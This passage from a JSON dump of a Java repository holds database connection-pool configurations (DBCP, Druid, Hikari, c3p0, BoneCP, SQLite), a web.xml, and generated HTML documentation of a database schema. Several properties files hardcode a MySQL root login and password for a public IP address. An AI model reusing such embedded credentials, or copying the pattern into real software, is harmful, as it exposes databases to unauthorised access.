name=\"maxStatements\">20</property>\n\t\t<!--maxStatementsPerConnection定义了连接池内单个连接所拥有的最大缓存statements数。Default: 0 -->\n\t\t<property name=\"maxStatementsPerConnection\">5</property>\n\t</named-config>\n</c3p0-config>"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/dbcp.properties",
    "content": "#连接设置\ndriverClassName=com.mysql.jdbc.Driver\nurl=jdbc:mysql://49.235.86.47:3306/test\nusername=root\npassword=mysqladmin\n\n#<!-- 初始化连接 -->\ninitialSize=10\n\n#最大连接数量\nmaxActive=50\n\n#<!-- 最大空闲连接 -->\nmaxIdle=20\n\n#<!-- 最小空闲连接 -->\nminIdle=5\n\n#<!-- 超时等待时间以毫秒为单位 60000毫秒/1000等于60秒 -->\nmaxWait=60000\n\n\n#JDBC驱动建立连接时附带的连接属性属性的格式必须为这样：[属性名=property;] \n#注意：\"user\" 与 \"password\" 两个属性会被明确地传递，因此这里不需要包含他们。\nconnectionProperties=useUnicode=true;characterEncoding=utf8\n\n#指定由连接池所创建的连接的自动提交（auto-commit）状态。\ndefaultAutoCommit=true\n\n#driver default 指定由连接池所创建的连接的只读（read-only）状态。\n#如果没有设置该值，则“setReadOnly”方法将不被调用。（某些驱动并不支持只读模式，如：Informix）\ndefaultReadOnly=\n\n#driver default 指定由连接池所创建的连接的事务级别（TransactionIsolation）。\n#可用值为下列之一：（详情可见javadoc。）NONE,READ_UNCOMMITTED, READ_COMMITTED, REPEATABLE_READ, SERIALIZABLE\ndefaultTransactionIsolation=REPEATABLE_READ\n\n#DBCP配置文件"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/druid.properties",
    "content": "####################################  druid datasource    ####################################\n#连接设置\ndriverClassName=com.mysql.jdbc.Driver\nurl=jdbc:mysql://49.235.86.47:3306/test\nusername=root\npassword=mysqladmin\n\n#<!-- 初始化连接 -->\ninitialSize=10\n\n#最大连接数量\nmaxActive=50\n\n#<!-- 最大空闲连接 -->\nmaxIdle=20\n\n#<!-- 最小空闲连接 -->\nminIdle=5\n\n#<!-- 超时等待时间以毫秒为单位 60000毫秒/1000等于60秒 -->\nmaxWait=60000\n\n\n#JDBC驱动建立连接时附带的连接属性属性的格式必须为这样：[属性名=property;] \n#注意：\"user\" 与 \"password\" 两个属性会被明确地传递，因此这里不需要包含他们。\nconnectionProperties=useUnicode=true;characterEncoding=utf8\n\n#指定由连接池所创建的连接的自动提交（auto-commit）状态。\ndefaultAutoCommit=true\n\n#driver default 指定由连接池所创建的连接的只读（read-only）状态。\n#如果没有设置该值，则“setReadOnly”方法将不被调用。（某些驱动并不支持只读模式，如：Informix）\ndefaultReadOnly=\n\n#driver default 指定由连接池所创建的连接的事务级别（TransactionIsolation）。\n#可用值为下列之一：（详情可见javadoc。）NONE,READ_UNCOMMITTED, READ_COMMITTED, REPEATABLE_READ, SERIALIZABLE\ndefaultTransactionIsolation=REPEATABLE_READ\n\n#DBCP配置文件\n####################################   druid datasource   #################################### "
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/hikari.properties",
    "content": "connectionTestQuery=SELECT 1\ndataSourceClassName=com.mysql.jdbc.jdbc2.optional.MysqlDataSource\ndataSource.user=root\ndataSource.password=mysqladmin\ndataSource.databaseName=test\ndataSource.serverName=49.235.86.47"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/jdbc.properties",
    "content": "driver=com.mysql.jdbc.Driver\nurl=jdbc:mysql://localhost:3306/test\nusername=root\npassword=mysqladmin"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/log4j.properties",
    "content": "log4j.rootLogger=DEBUG,Console\nlog4j.appender.Console=org.apache.log4j.ConsoleAppender\nlog4j.appender.Console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.Console.layout.ConversionPattern=%d [%t] %-5p [%c] - %m%n"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/spring-bonecp.xml",
    "content": "<bean id=\"dataSource\" class=\"com.jolbox.bonecp.BoneCPDataSource\"  \n        destroy-method=\"close\">  \n        <!-- 数据库驱动 -->  \n        <property name=\"driverClass\" value=\"${aliLibrary.db.driverClass}\" />  \n        <!-- 相应驱动的jdbcUrl,你懂的 -->  \n        <property name=\"jdbcUrl\" value=\"${aliLibrary.db.jdbcUrl}\" />  \n        <!-- 数据库的用户名 -->  \n        <property name=\"username\" value=\"${aliLibrary.db.username}\" />  \n        <!-- 数据库的密码 -->  \n        <property name=\"password\" value=\"${aliLibrary.db.password}\" />  \n        <!-- 检查数据库连接池中空闲连接的间隔时间，单位是分，默认值：240，如果要取消则设置为0 -->  \n        <property name=\"idleConnectionTestPeriod\" value=\"${aliLibrary.db.idleConnectionTestPeriod}\" />  \n        <!-- 连接池中未使用的链接最大存活时间，单位是分，默认值：60，如果要永远存活设置为0 -->  \n        <property name=\"idleMaxAge\" value=\"${aliLibrary.db.idleMaxAge}\" />  \n        <!-- 每个分区最大的连接数 -->  \n        <property name=\"maxConnectionsPerPartition\" value=\"${aliLibrary.db.maxConnectionsPerPartition}\" />  \n        <!-- 每个分区最小的连接数 -->  \n        <property name=\"minConnectionsPerPartition\" value=\"${aliLibrary.db.minConnectionsPerPartition}\" />  \n        <!-- 分区数 ，默认值2，最小1，推荐3-4，视应用而定-->  \n        <property name=\"partitionCount\" value=\"${aliLibrary.db.partitionCount}\" />  \n        <!-- 每次去拿数据库连接的时候一次性要拿几个,默认值：2 -->  \n        <property name=\"acquireIncrement\" value=\"${aliLibrary.db.acquireIncrement}\" />  \n        <!-- 缓存prepared statements的大小，默认值：0 -->  \n        <property name=\"statementsCacheSize\" value=\"${aliLibrary.db.statementsCacheSize}\" />  \n        <!-- 每个分区释放链接助理进程的数量，默认值：3，除非你的一个数据库连接的时间内做了很多工作，不然过多的助理进程会影响你的性能 -->  \n        <property name=\"releaseHelperThreads\" value=\"${aliLibrary.db.releaseHelperThreads}\" />  \n    </bean>  "
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/sqlite.properties",
    "content": "url:jdbc:sqlite:sample.db\ndriverClassName=org.sqlite.JDBC\nusername=root\npassword=\n     \nfilters=stat\n \nmaxActive=20\ninitialSize=1\nmaxWait=60000\nminIdle=1\n \ntimeBetweenEvictionRunsMillis=60000\nminEvictableIdleTimeMillis=300000\n \nvalidationQuery=SELECT 'x'\ntestWhileIdle=true\ntestOnBorrow=false\ntestOnReturn=false\n#poolPreparedStatements=true\nmaxPoolPreparedStatementPerConnectionSize=20\n"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/.gitignore",
    "content": ".mvn/\nbin/\ntarget/\n!.mvn/wrapper/maven-wrapper.jar\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\nnbproject/private/\nbuild/\nnbbuild/\ndist/\nnbdist/\n.nb-gradle/"
  },
  {
    "path": "jun_java_plugins/jun_db_document/doc/.keep",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_db_document/doc/html-sample.html",
    "content": "<!DOCTYPE html>\n<html>\n\n\t<head>\n\t\t<!-- Standard Meta -->\n\t\t<meta charset=\"utf-8\" />\n\t\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0\">\n\t\t<!-- Site Properties -->\n\t\t<title>renren</title>\n\t\t<link href=\"https://cdn.bootcss.com/semantic-ui/2.3.0/semantic.min.css\" rel=\"stylesheet\">\n\t\t<script src=\"https://cdn.bootcss.com/jquery/2.1.4/jquery.min.js\"></script>\n\t\t<script src=\"https://cdn.bootcss.com/semantic-ui/2.3.0/semantic.min.js\"></script>\n\t\t<!-- Content JS HERE !-->\n\t\t<style>\n\t\t\t.last.container {\n\t\t\t\tmargin-bottom: 300px !important;\n\t\t\t}\n\t\t\t\n\t\t\th1.ui.center.header {\n\t\t\t\tmargin-top: 3em;\n\t\t\t}\n\t\t\t\n\t\t\th2.ui.center.header {\n\t\t\t\tmargin: 4em 0em 2em;\n\t\t\t}\n\t\t\t\n\t\t\th3.ui.center.header {\n\t\t\t\tmargin-top: 2em;\n\t\t\t\tpadding: 2em 0em;\n\t\t\t}\n\t\t\t.hide{\n\t\t\t\tdisplay: none;\n\t\t\t}\n\t\t</style>\n\t</head>\n\n\t<body>\n\t\t<!-- 目录开始 -->\n\t\t<h1 id=\"top\" class=\"ui center aligned header \">数据库名称：renren</h1>\n\t\t\n\t\t<div  class=\"ui text container last db-index\">\n\t\t\t<h3 class=\"ui center aligned\">目录</h3>\n\t\t\t\n\t\t\t\t<div class=\"ui segment\">\n\t\t\t\t\t<div class=\"ui list divided \">\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(0)\">1. qrtz_blob_triggers</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(1)\">2. qrtz_calendars</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(2)\">3. qrtz_cron_triggers</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(3)\">4. qrtz_fired_triggers</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(4)\">5. qrtz_job_details</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(5)\">6. qrtz_locks</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(6)\">7. qrtz_paused_trigger_grps</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(7)\">8. qrtz_scheduler_state</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(8)\">9. qrtz_simple_triggers</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(9)\">10. qrtz_simprop_triggers</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(10)\">11. qrtz_triggers</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(11)\">12. schedule_job</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(12)\">13. schedule_job_log</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(13)\">14. sys_config</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(14)\">15. sys_log</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(15)\">16. sys_menu</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(16)\">17. sys_oss</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(17)\">18. sys_role</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(18)\">19. sys_role_menu</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(19)\">20. sys_user</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(20)\">21. sys_user_role</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(21)\">22. sys_user_token</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a onclick=\"toTable(22)\">23. tb_user</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t</div>\n\n\t\t\t\t</div>\n\t\t\t\n\t\t</div>\n\t\t\n\t\t<!--目录结束-->\n\t\t<!--表说明开始-->\n\t\t<div id=\"db-table-0\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_blob_triggers</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>BLOB_DATA</td>\n\t\t\t\t\t\t<td>blob</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-1\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_calendars</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>CALENDAR_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>CALENDAR</td>\n\t\t\t\t\t\t<td>blob</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,CALENDAR_NAME</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-2\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_cron_triggers</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>CRON_EXPRESSION</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TIME_ZONE_ID</td>\n\t\t\t\t\t\t<td>varchar(80)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-3\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_fired_triggers</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>ENTRY_ID</td>\n\t\t\t\t\t\t<td>varchar(95)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>INSTANCE_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\